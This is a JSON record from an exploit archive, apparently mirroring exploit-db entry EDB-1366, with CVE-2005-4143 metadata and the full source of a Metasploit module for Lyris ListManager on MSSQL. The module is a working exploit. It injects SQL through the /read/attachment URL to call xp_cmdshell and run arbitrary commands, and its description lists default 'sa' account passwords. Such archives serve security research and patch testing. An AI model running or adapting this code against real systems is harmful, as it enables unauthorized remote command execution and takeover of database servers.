{"exploit":{"id":"EDB-1366","name":"Lyris ListManager - Read Message Attachment SQL Injection (SQLi) (Metasploit)","description":"Lyris ListManager - Read Message Attachment SQL Injection (SQLi) (Metasploit)","cves":["CVE-2005-4143"],"author":"H D Moore","published":"2005-12-09","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1366","path":"exploits/windows/remote/1366.pm","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1366.pm","vulnerabilities":[{"id":"CVE-2005-4143","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in Lyris ListManager 5.0 through 8.9a allows remote attackers to execute arbitrary SQL commands via SQL code after a numeric argument to a /read/attachment URL.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-4143","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-4143"},"updatedAt":"2024-08-07T23:38:50.369Z","retrievedAt":"2026-11-27T08:07:43.820Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1366.png?v=2","url":"https://exploitbin.com/exploits/EDB-1366","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1366/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1366/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be redistributed\n# according to the licenses defined in the Authors field below. In the\n# case of an unknown or missing license, this file defaults to the same\n# license as the core Framework (dual GPLv2 and Artistic). The latest\n# version of the Framework can always be obtained from metasploit.com.\n##\n\npackage Msf::Exploit::lyris_attachment_mssql;\nuse base \"Msf::Exploit\";\nuse strict;\nuse Pex::Text;\n\nmy $advanced = { };\n\nmy $info =\n  {\n\t'Name'  => 'Lyris ListManager Attachment SQL Injection (MSSQL)',\n\t'Version'  => '$Revision: 1.2 $',\n\t'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],\n\t'Arch'  => [ ],\n\t'OS'    => [ 'win32' ],\n\t'Priv'  => 1,\n\t'UserOpts'  =>\n\t  {\n\t\t'RHOST' => [1, 'ADDR', 'The target address'],\n\t\t'RPORT' => [1, 'PORT', 'The target port', 80],\n\t\t'SSL'   => [0, 'BOOL', 'Use SSL'],\n\t  },\n\n\t'Payload' =>\n\t  {\n\t  \t'Space' => 1000,\n\t\t'Keys'  => ['cmd'],\n\t  },\n\n\t'Description'  => Pex::Text::Freeform(qq{\n\t\tThis module exploits a SQL injection flaw in the Lyris ListManager\n\tsoftware for Microsoft SQL Server. This flaw allows for arbitrary commands\n\tto be executed with administrative privileges by calling the xp_cmdshell\n\tstored procedure. Additionally, a window of opportunity is opened during the\n\tListManager for MSDE install process; the 'sa' account is set to the password 'lminstall'\n\tfor a 5-10 minute period. After the installer finishes, the password is\n\tpermanently set to 'lyris' followed by the process ID of the installer (a 1-5 digit number).\n}),\n\n\t'Refs'  =>\n\t  [\n\t\t['URL',   'http://metasploit.com/research/vulns/lyris_listmanager/'],\n\t\t['OSVDB', '21548'],\n\t  ],\n\n\t'DefaultTarget' => 0,\n\t'Targets' =>\n\t  [\n\t\t['No target needed.'],\n\t  ],\n\n\t'Keys' => ['lyris'],\n  };\n\nsub new {\n\tmy $class = shift;\n\tmy $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);\n\treturn($self);\n}\n\nsub Check {\n\tmy $self = shift;\n\tmy $target_host = $self->GetVar('RHOST');\n\tmy $target_port = $self->GetVar('RPORT');\n\n\tmy $s = Msf::Socket::Tcp->new\n\t  (\n\t\t'PeerAddr'  => $target_host,\n\t\t'PeerPort'  => $target_port,\n\t\t'LocalPort' => $self->GetVar('CPORT'),\n\t\t'SSL'       => $self->GetVar('SSL'),\n\t  );\n\tif ($s->IsError) {\n\t\t$self->PrintLine('[*] Error creating socket: ' . $s->GetError);\n\t\treturn $self->CheckCode('Connect');\n\t}\n\n\t$s->Send(\"GET /read/attachment/' HTTP/1.1\\r\\nHost: $target_host:$target_port\\r\\n\\r\\n\");\n\n\tmy $r = $s->Recv(-1, 5);\n\n\tif ($r =~ /Unclosed quotation mark before/) {\n\t\t$self->PrintLine(\"[*] Vulnerable installation detected ;)\");\n\t\treturn $self->CheckCode('Detected');\n\t}\n\n\tif ($r =~ /SQL error reported from Lyris/) {\n\t\t$self->PrintLine(\"[*] Vulnerable installation, but not running MSSQL.\");\n\t\treturn $self->CheckCode('Safe');\n\t}\n\n\tif ($r =~ /ListManagerWeb.*Content-Length: 0/sm) {\n\t\t$self->PrintLine(\"[*] This system appears to be patched\");\n\t\treturn $self->CheckCode('Safe');\n\t}\n\n\t$self->PrintLine(\"[*] Unknown response, patched or invalid target.\");\n\treturn $self->CheckCode('Safe');\n}\n\nsub Exploit {\n\tmy $self = shift;\n\tmy $target_host = $self->GetVar('RHOST');\n\tmy $target_port = $self->GetVar('RPORT');\n\tmy $target_idx  = $self->GetVar('TARGET');\n\n\tmy $cmd = $self->GetVar('EncodedPayload')->RawPayload;\n\n\tmy $sql =\n\t\t'DECLARE @X NVARCHAR(4000);'.\n\t\t'SET @X= ';\n\n\tforeach my $c (unpack('C*', $cmd)) {\n\t\t$sql .= \"CHAR($c) + \";\n\t}\n\t$sql .= \"'\\x20';\";\n\t$sql .= 'EXEC MASTER..XP_CMDSHELL @X';\n\n\tmy $url = \"/read/attachment/1;\".$self->URLEncode($sql).\";--\";\n\n\n\tmy $request =\n\t  \"GET $url HTTP/1.1\\r\\n\".\n\t  \"Host: $target_host:$target_port\\r\\n\\r\\n\";\n\n\tmy $s = Msf::Socket::Tcp->new\n\t  (\n\t\t'PeerAddr'  => $target_host,\n\t\t'PeerPort'  => $target_port,\n\t\t'LocalPort' => $self->GetVar('CPORT'),\n\t\t'SSL'       => $self->GetVar('SSL'),\n\t  );\n\tif ($s->IsError) {\n\t\t$self->PrintLine('[*] Error creating socket: ' . $s->GetError);\n\t\treturn;\n\t}\n\n\t$self->PrintLine(\"[*] Sending \" .length($request) . \" bytes to remote host.\");\n\t$s->Send($request);\n\n\t$self->PrintLine(\"[*] Waiting for a response...\");\n\t$s->Recv(-1, 10);\n\t$self->Handler($s);\n\t$s->Close();\n\treturn;\n}\n\nsub URLEncode {\n\tmy $self = shift;\n\tmy $data = shift;\n\tmy $res;\n\n\tforeach my $c (unpack('C*', $data)) {\n\t\tif (\n\t\t\t($c >= 0x30 && $c <= 0x39) ||\n\t\t\t($c >= 0x41 && $c <= 0x5A) ||\n\t\t\t($c >= 0x61 && $c <= 0x7A)\n\t\t  ) {\n\t\t\t$res .= chr($c);\n\t\t} else {\n\t\t\t$res .= sprintf(\"%%%.2x\", $c);\n\t\t}\n\t}\n\treturn $res;\n}\n\n1;\n\n\n# milw0rm.com [2005-12-09]","sha256":"7526168e1095d9c0d8d37163426e510637d142b69027e9b31acb3f481a6aad94","bytes":4418,"fetchedAt":"2026-11-27T08:07:41.586Z","encoding":"utf-8 (display only; download retains original bytes)"}